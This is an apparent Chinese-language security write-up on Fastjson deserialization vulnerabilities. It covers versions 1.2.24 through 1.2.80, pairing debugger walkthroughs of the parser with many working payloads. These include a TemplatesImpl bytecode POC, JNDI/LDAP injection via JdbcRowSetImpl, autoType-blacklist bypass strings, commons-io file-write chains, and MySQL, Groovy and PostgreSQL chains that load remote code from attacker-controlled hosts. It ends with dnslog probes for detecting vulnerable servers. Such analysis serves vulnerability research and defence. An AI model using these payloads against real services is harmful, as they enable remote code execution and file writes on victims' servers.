Fastjson前置知识
反序列化函数
Object obj =JSON.parse();//解析为JSONObject类型或者JSONArray类型Object obj =JSON.parseObject("{...}");//JSON文本解析成JSONObject类型Object obj =JSON.parseObject("{...}",Object.class);//JSON文本解析成Object.class类,即指定类型
JSON.parseObject 的底层调用的还是 JSON.parse 方法,只是在 JSON.parse 的基础上做了一个封装。
@type
- @type字段名,用来表明指定反序列化的目标对象类型
在JSON序列化时开启 SerializerFeature.WriteClassName 选项,序列化出来的结果会在开头加一个 @type 字段,值为进行序列化的类名。
反序列化时带有@type 字段的序列化数据会得到对应类型的实例化对象。
FastJson与原生反序列化的差异
FastJson反序列化并不是通过
ObjectInputStream.readObject()
还原对象(原生反序列化中通过递归调用readObject0去还原属性对象,且在这之前会调用类重写的readObject方法),而是在反序列化的过程中自动调用类属性的
setter/getter
方法,将JSON字符串还原成对象。
对于反序列化漏洞来说,其实就是当跳板的魔术方法不一样了。
漏洞原理
Fastjson 1.2.22-1.2.24
漏洞的
根本原因
还是Fastjson的
autotype
功能,此功能可以反序列化的时候人为指定类,然后在利用指定的反序列化器过程中,如果满足条件则会去反射调用
setter || getter
方法,以串联某些利用链达成RCE。
autotype再处理json的时候,没有对@type进行安全验证,就可以传入危险的类,远程连接rmi主机,反弹shell之类的操作。
TemplatesImpl利用链
这个利用链需要开启JSON.parseObject的
Feature.SupportNonPublicField
选项以支持反序列化使用非public修饰符保护的属性,因为TemplatesImpl里的属性都是私有的。
packageFastjsonDemo;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.parser.ParserConfig;publicclass demo {publicstaticvoidmain(String[] args)throwsException{String text ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQALTERlbW8kdGVzdDsBAApTb3VyY2VGaWxlAQAJRGVtby5qYXZhDAAEAAUHABMBAAlEZW1vJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAERGVtbwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFW5pY2UwZTM1OTY1NzU3NTI5NjkwMAEAF0xuaWNlMGUzNTk2NTc1NzUyOTY5MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAACwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";Object obj =JSON.parseObject(text,Object.class,Feature.SupportNonPublicField);}}
在
JSON.parseObject
下断点开始调试,
com.alibaba.fastjson.JSON#parseObject
调用了自身的另外一个重载方法。
然后实例化一个
DefaultJSONParser
类,主要就是根据当前的字符({开头或者是[开头)来赋值,这里是是{开头,把
lexer.token
赋为12。
lexer是词法解析器,这里为JSONScanner
最后调用
DefaultJSONParser
类的
parseObject
方法
先对lexer的token进行判断,然后进入对应处理,若都不满足则直接来到
config.getDeserializer(type)
获取了一个ObjectDeserializer对象。
然后去调用
JavaObjectDeserializer
对象的
derialize
方法,不满足前两个if条件直接进入
DefaultJSONParser
类的
parse
方法
DefaultJSONParser#parse
对token进行判断进入对应逻辑
跟进这个
parseObject
方法,如果key等于@type,则获取lexer中@type键的值给到typeName,也就是获取反序列化的目标对象类型。然后调用
TypeUtils.loadClass
方法,反射获取对应类名的类对象。
这个loadClass里做的事情:
会在现有的mappings(缓存)中寻找从
@type
传入的classname,如果没有找到,则调用contextClassLoader.loadClass获取AppClassLoader类加载器,并加载到mappings中与
@type
传入的类进行关联,最后返回clazz对象。
接着到
config.getDeserializer
这里,
里面会去判断是不是是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口,是的话直接调用对应的deserializer反序列化器。若都不匹配则通过
ParserConfig#createJavaBeanDeserializer
方法去新建一个对应的反序列化器
跟进这个方法里面又是一堆if判断,
这个
boolean asmEnable
,是的话就会调用
asmFactory.createJavaBeanDeserializer
解析器(使用ASM生成的反序列化器具有较高的反序列化性能,但不方便调试具体过程),使用asm的条件如下,就是那堆if所判断的条件
- 非Android系统
- 该类及其除Object之外的所有父类为是public的
- 泛型参数非空
- 非asmFactory加载器之外的加载器加载的类
- 非接口类
- 类的setter函数不大于200
- 类有默认构造函数
- 类不能含有仅有getter的filed
- 类不能含有非public的field
- 类不能含有非静态的成员类
- 类本身不是非静态的成员类
接着看这个
JavaBeanInfo.build
方法,里面依次遍历获取set方法、类公共属性、get方法。
遍历所有的method,如果 name小于4 || 静态方法 || 返回值不是Void || 不是set前缀,就会跳过这个method。要是都满足set的条件,接着就会做一些转小写,从缓存中查找的操作,这里就不贴代码图了。
直接看到最后的
add(fieldList
,将符合条件的method添加到fieldList中。
这里所调用的FieldInfo类的构造方法如下,前面就是对method啥的属性赋值
主要关注getOnly这个属性(影响后面执行method的逻辑),要进入这个
getOnly = true
的分支就得满足方法的参数类型不等于一,那么在setter方法中显然是无法满足的。
跳出这个循环直接看第二轮遍历method获取get方法,同样的也是一堆判断
- 判断方法名长度是否大于4,不大于4则跳过
- 静态方法跳过
- 方法名是否get前缀,并且第四个字符为大写,不符合则跳过
- 方法有参数跳过
- 方法返回值不是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或其子孙类则跳过
根据注解取字段名称,若没有注解则根据方法名从第四个字符开始确定字段field名称,根据字段名获取集合中是否已有FieldInfo,有则跳过。也就是set那获取到了就不重复添加方法了,毕竟反序列化主要是设置值。
最后也是将满足条件的method添加到fieldList集合,最后将fieldList丢到一个新的JavaBeanInfo对象中返回。
outputProperties
由于形参类型数量为0,这时候的添加FieldInfo就满足
getOnly = true
的条件了,
最后返回了一个JavaBeanInfo对象
回到
fastjson.parser.ParserConfig#createJavaBeanDeserializer
,接着从beaninfo中取出defaultConstructor默认构造器、field属性,反正就是去判断是不是满足前面列出来的ASM使用条件,为asmEnable标志位赋值。
因为前面get那遍历method的时候使得getOnly为true 所以这里asmEnable就是true了。
根据asmEnable标志位,进行if条件判断,这边显然是不满足的,于是new一个
JavaBeanDeserializer
反序列化器
再build一下,传入这个类重载的构造函数处理
对
beanInfo.sortedFields
进行了遍历,把结果给了
sortedFieldDeserializers[]
,给每个属性配置了反序列化器
回到
DefaultJSONParser#parseObject
方法,上面那么多步骤最后返回了一个类反序列化器,上面获取的所有FieldInfo处理逻辑都在
JavaBeanDeserializer.deserialze
中
此时的调用栈如下:
根据当前token的值,也就是json串的闭合符号来确定具体的操作
如果是
}
,那就跳转到下一个逗号,调用类的构造方法返回实例化对象。如果是
[
那就丢入deserialzeArrayMapping做数组处理,然后还有几个if判断,要是都没匹配上,那就进入下面fieldIndex处理逻辑。
前面就是把之前存入反序列化器的属性,方法啥的取出来
然后又是根据fieldlClass类型去判断,如果匹配到了就设置
boolean matchField = true
,这里显然是都不满足的。
直接到这一步,跟进
JavaBeanDeserializer#parseField
方法
也是通过循环遍历获取对应field的反序列化器
然后进入
setValue
去反射调用FiledMethod,将值设置进去
setValue方法中也有很多if判断,会利用到FieldInfo前面构建时,收集到的信息,例如method、getOnly等,进行判断是否调用某些方法。
前面几次循环就是正常的setter设置类属性。
直接跳过这个循环到调用
outputProperties
这个FiledMethod。对于method不为空的fieldInfo,若
getOnly == false
,则直接反射执行method。
若
getOnly == true
,也就是只存在对应字段field的getter,而不存在setter,则会对其method的返回类型进行判断,若符合,才会进行反射执行该method。
如果method的返回值类型是map的子孙类则反射执行method,那其实到这就结束了
到这里的调用栈如下:
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:11, demo (FastjsonDemo)
后面就TemplatesImpl的调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
刚好是满足这里的
Map.class.isAssignableFrom(method.getReturnType())
条件。
base64编码
可以看到和原来不同的一点在于,POC中的
_bytecodes
属性里的恶意字节码是base64编码后的字符串。
调试可见,在
DefaultFieldDeserializer#parseField
方法set _bytecodes的值的时候,对应的反序列化器
ObjectArrayCodec
会去调用
JSONScanner#bytesValue
方法,做一次base64解码
JdbcRowSetImpl利用链(JNDI)
jndi注入通用性较强,但是需要在目标出网的情况下才能使用
这里为了方便调试还是用原来的demo,没有在tomcat环境下测试,所以直接设置jdk为8u111以方便调试,直接用工具起一个恶意ldap服务。
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.133
publicclass demo {publicstaticvoidmain(String[] args)throwsException{StringPayload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.106.133:1389/Basic/Command/calc\",\"autoCommit\":true}";Object obj =JSON.parseObject(Payload,Object.class);}}
前面的解析过程和TemplatesImpl链没啥区别,直接到
FieldDeserializer.setValue
开始调试。
这条链子调用的是setter方法,自然也无法使得getOnly为true,直接进入下面的method.invoke
这里调用的是
JdbcRowSetImpl#setAutoCommit
方法,用来设置autoCommit属性的值,传值是一个boolean。所以POC那设置autoCommit属性值给个布尔值即可。
跟进这个
JdbcRowSetImpl#connect
方法,就是一个很明显的jndi注入的点。这里预期的话是用来绑定sql数据库地址的嘛,我们传进去json进行反序列化时候
dataSourceName
属性设置个恶意ldap或者rmi地址即可。
调用链如下
c_lookup:1092, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
parseObject:456, JSON (com.alibaba.fastjson)
高版本绕过
在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。当autoTypeSupport为False(默认)时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
checkAutoType安全机制
该机制自1.2.25版本引入,使用之前的poc试一下,显示类型不支持。
跟入
com.alibaba.fastjson.parser.DefaultJSONParser
可见原先的
TypeUtils.loadClass
方法变成了
config.checkAutoType
方法
checkAutoType 一般有以下几种情况会通过校验:
- 白名单里的类
- 开启了 autotype
- 使用了 JSONType 注解
- 指定了期望类(expectClass)
- 缓存 mapping 中的类
提到这个机制又不得不提到autoTypeSupport选项(默认False)
- False- 黑名单 -> 白名单,若白名单匹配上则直接加载该类,否则报错。
1.2.25版本的黑名单如下,显然是不能通过检查的
- True- 白名单,匹配成功即可加载该类,否则再黑名单过滤。- 最后若是都没有匹配到,且开启了AutoTypeSupport或者有expectClass参数,则调用
TypeUtils.loadClass
方法加载该类
类名解析bypass(<= 1.2.45)
需开启AutoTypeSupport
1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
早期版本
TypeUtils.loadClass
函数的实现代码中对于类名解析有一些特殊处理,loadClass会将”L”与”;”去除后组成newClassName并返回。
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist
且在
checkAutoType
函数多了一次替换,双写即可。
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常。
开头为[也有类似操作,换一个就行。后面几个符号是为了满足json解析格式。
1.2.45开始checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常。可使用mybatis依赖绕过,原理类似JdbcRowSetImpl。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.106.131:1389/Basic/Command/calc"}}
mappings缓存绕过
<= 1.2.47
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":"true"}}
TypeUtils.loadClass
方法会在类加载之后将类放入缓存
而且fastjson为了速度有一些从缓存中取出类对象的操作
所以这个payload分成两部分来看,第一部分可以通过
checkAutoType
方法检查。
进入后面的
deserializer.deserialze
,这里实际上调用的是
MiscCodec#deserialze
。
parser.parse()获取val的值,也就是
com.sun.rowset.JdbcRowSetImpl
。
赋值给strVal,最后由TypeUtils.loadClass加载,添加进mappings。
但Mappings是ConcurrentMap类型的,仅在在当前连接会话生效。所以需要在一次连接会话同时传入两个json键值对。
第二部分再去过
checkAutoType
方法检查时就可以从缓存取出类对象从而绕过了。
1.2.48开始在loadClass时,将缓存开关默认设置为False,同时将Class类加入黑名单。
expectClass期望类绕过
期望类可以由类间关系隐式确定,也可以由两个
@type
显式指定。
classUser{Foo id;}classFooImplimplementsFoo{String fooId;}
- 由类间关系确定
{"@type":"User","id":{"@type":"FooImpl","fooId":"abc"},}
- 由JSON显式指定
{"@type":"Foo","@type":"FooImpl","fooId":"abc"}
1.2.68
回顾一下fastjson反序列化的过程,
DefaultJSONParser#parseObject
会去获取对应的类加载器对象。
调用的方法为
ParserConfig.getDeserializer
,会根据对象类型去获取对应的反序列化器对象,都不符合的话就调用
createJavaBeanDeserializer
方法来构造 JavaBeanDeserializer。
全局搜索传参expectClass的checkAutoType方法,分别位于:
JavaBeanDeserializer
ThrowableDeserializer
也就是上面图片里红色框起来的两个位置对应的deserializer。
AutoCloseable
写一个恶意子类以代替具体利用链,了解期望类的绕过过程。
这里因为
JavaBeanDeserializer
set设置属性得过程前面已经调试过了,偷个懒就没写setter方法去设置属性,别被误导。
packageFastjsonDemo;importjava.io.IOException;publicclassEvilAutoCloseableimplementsAutoCloseable{publicEvilAutoCloseable(){try{Runtime.getRuntime().exec("calc");}catch(IOException e){
e.printStackTrace();}}publicvoidclose()throwsException{}}
{"@type":"java.lang.AutoCloseable","@type":"FastjsonDemo.EvilAutoCloseable"}
从头开始调试,从
DefaultJSONParser#parseObject
进入第一次的
checkAutoType
方法。
这里相当于期望类的黑名单,包括了大部分常用的父接口和父类,但没有
java.lang.AutoCloseable
。
之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配。
之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。
TypeUtils#mappings
里有 AutoCloseable 类
上面其实就是为了返回一个clazz,以获取对应的反序列化器。
然后回到
DefaultJSONParser#parseObject
方法,接着上面的处理逻辑,获取到的deserializer为JavaBeanDeserializer。
并将clazz(
interface java.lang.AutoCloseable
)作为type参数传入,
现在走到了
JavaBeanDeserializer#deserialze
方法。这里还有一个checkAutoType,当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,也是在这传入的expectClass参数。
expectClass由
TypeUtils.getClass(type)
根据type即传入的clazz获取到。
同样的期望类黑名单过滤,然后从deserializers、typeMapping那堆东西里找。这里显然是找不到的嘛
最后如果
expectClassFlag
为true的话,使用
TypeUtils.loadClass
进行类加载。
然后再给这个类添加到缓存中,并返回
JavaBeanDeserializer#deserialze
的userType参数
同样的获取对应的反序列化器去deserialze
按照demo里的写的恶意类这里其实就弹计算器了,但实际不可能直接有个类构造方法写了命令执行的语句,真正触发的地方还是在set属性那。
为了找到合适的
java.lang.AutoCloseable
派生类,需要满足非黑名单类、非继承自 ClassLoader、DataSource、RowSet 的类,这个判断在将期望类return之前,会直接抛出异常。这里说白了就是看看在期望类是怎么绕过的。
看真实利用链之前,先了解一下这个接口是干嘛的。
https://www.jianshu.com/p/3a1e774d8625
从AutoCloseable的注释可知它的出现是为了更好的管理资源,准确说是资源的释放,当一个资源类实现了该接口close方法,在使用try-catch-resources语法创建的资源抛出异常后,JVM会自动调用close 方法进行资源释放,当没有抛出异常正常退出try-block时候也会调用close方法。像数据库链接类Connection,io类InputStream或OutputStream都直接或者间接实现了该接口。
commons-io
浅蓝师傅在《fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路》中给出的寻找思路为:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法
具体分析看这篇文章吧,个人确实没有精力去再跟一遍,就简单记录下payload复现一下,
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
commons-io 2.0 - 2.6
{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa...(写入的恶意内容,长度要大于8192,实际写入前8192个字符)"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/tmp/pwned","encoding":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}}
commons-io 2.7.0 - 2.8.0
{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)","start":0,"end":2147483647},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/tmp/pwned","charsetName":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}
Mysql JDBC
搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
{
"aaa": {
"@type": "u006au0061u0076u0061.lang.AutoCloseable",
"@type": "u0063u006fu006d.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "192.168.33.128",
"portToConnectTo": 3306,
"url": "jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=",
"databaseToConnectTo": "test",
"info": {
"@type": "u006au0061u0076u0061.util.Properties",
"PORT": "3306",
"statementInterceptors": "u0063u006fu006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "cb",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
}
修复:
1.2.68后将
java.lang.Runnable
、
java.lang.Readable
和
java.lang.AutoCloseable
加入了黑名单。
Throwable
这个期望类使用的反序列化器为
ThrowableDeserializer
,写个demoException类来调试流程。
packageFastjsonDemo;importjava.io.IOException;publicclassEvilExceptionextendsException{privateString cmd;publicEvilException(){super();}publicStringgetDomain(){return cmd;}publicvoidsetDomain(String cmd){this.cmd = cmd;}@OverridepublicStringgetMessage(){try{Runtime.getRuntime().exec(cmd);}catch(IOException e){return e.getMessage();}returnsuper.getMessage();}}
{"@type":"java.lang.Exception","@type":"FastjsonDemo.EvilException","cmd":"calc"}
基本相同,只是返回的反序列化器是
ThrowableDeserializer
如果key为@type的话,获取@type的值,作为类名传入,期望类为
Throwable.class
把 message 和 cause 传给了
ThrowableDeserializer#createException
处理。
开始实例化异常类,依次查找对应参数的构造方法,找到就直接返回。
实例化后返回ThrowableDeserializer,然后就是为实例化后的异常类设置属性。
1.2.80
Throwable
groovy
测试类:
packageFastjsonDemo;importcom.alibaba.fastjson.JSON;publicclass groovy {privatestaticString poc1 ="{\n"+" \"@type\":\"java.lang.Exception\",\n"+" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n"+" \"unit\":{}\n"+"}";privatestaticString poc2 ="{\n"+" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n"+" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n"+" \"config\":{\n"+" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n"+" \"classpathList\":\"http://127.0.0.1:8090/\"\n"+" }\n"+"}";publicstaticvoidmain(String[] args){try{JSON.parseObject(poc1);}catch(Exception e){}JSON.parseObject(poc2);}}
Evil类
importjava.io.IOException;importorg.codehaus.groovy.ast.ASTNode;importorg.codehaus.groovy.control.SourceUnit;importorg.codehaus.groovy.transform.ASTTransformation;importorg.codehaus.groovy.transform.GroovyASTTransformation;@GroovyASTTransformationpublicclassEvilimplementsASTTransformation{publicvoidvisit(ASTNode[] astNodes,SourceUnit sourceUnit){}static{try{Runtime.getRuntime().exec("calc");}catch(IOException var1){thrownewRuntimeException(var1);}}}
文件
META-INF/services/org.codehaus.groovy.transform.ASTTransformation
添加内容 Evil
然后在这个目录起一个http服务即可。
payload1:
{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}
payload2:
{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:8090/"}}
第一个payload,先使用1.2.68的绕过方式利用期望类加载类,在创建对应field反序列化器设置该类的unit属性(ProcessingUnit类型)时,如果value不是fieldClass类型的会进入
com.alibaba.fastjson.util.TypeUtils#cast
经过判断再到
com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)
函数,根据传入对象的具体类型来进行对应的类型转换操作。
然后到了
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
调用自身putDeserializer函数,然后把
org.codehaus.groovy.control.ProcessingUnit
对应的deserializer,设置进IdentityHashMap的
Entry<K, V>[] buckets
属性
所以也会把
org.codehaus.groovy.control.ProcessingUnit
加入反序列化缓存。
第二个payload,
org.codehaus.groovy.control.ProcessingUnit
由于缓存的得以顺利加载。
由于
org.codehaus.groovy.tools.javac.JavaStubCompilationUnit
是
org.codehaus.groovy.control.ProcessingUnit
的子类,所以也能利用期望类绕过checkAutoType成功反序列化。
这个类对应的反序列化器为默认的
JavaBeanDeserializer
,进入其deserialze方法,先调用属性的反序列化器去setter
然后调用构造方法进行实例化。
调用链如下图:
这里不把两个payload写一块是因为第一个payload会抛出一个错误,终止后面的解析。
jdbc
依赖jython+postgresql+spring-context
{"a":{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException","type":{}},"b":{"@type":"org.python.core.PyObject","@type":"com.ziclix.python.sql.PyConnection","connection":{"@type":"org.postgresql.jdbc.PgConnection","hostSpecs":[{"host":"127.0.0.1","port":2333}],"user":"user","database":"test","info":{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg":"http://127.0.0.1:8090/exp.xml"},"url":""}}}
<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd"><beanid="pb"class="java.lang.ProcessBuilder"><constructor-arg><listvalue-type="java.lang.String"><value>cmd</value><value>/c</value><value>calc</value></list></constructor-arg><propertyname="whatever"value="#{pb.start()}"/></bean></beans>
更多payload:https://github.com/su18/hack-fastjson-1.2.80
更多的利用链分析:回放视频 (8月27日下午视频的第26分钟开始)。
fastjson探测
区分Jackson和fastjson
Jackson 因为强制 key 与 javabean 属性对齐不能多 key,通过是否报错区分
{“name”:“S”,“age”:21}=>{“name”:“S”,“age”:21,“abc”:123}
版本信息
- 传一个没有闭合的json字符串,使其报错:
{"@type":"java.lang.AutoCloseable"
[{"a":"a\x]{"@type":"java.lang.AutoCloseable"
a
- 通过dnslog探测fastjson的几种方法通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}{{"@type":"java.net.URL","val":"http://dnslog"}:0
漏洞探测
通常配合使用dnslog平台进行漏洞探测。
不出网检测:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- BCEL类加载 - Tomcat > 8.0
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
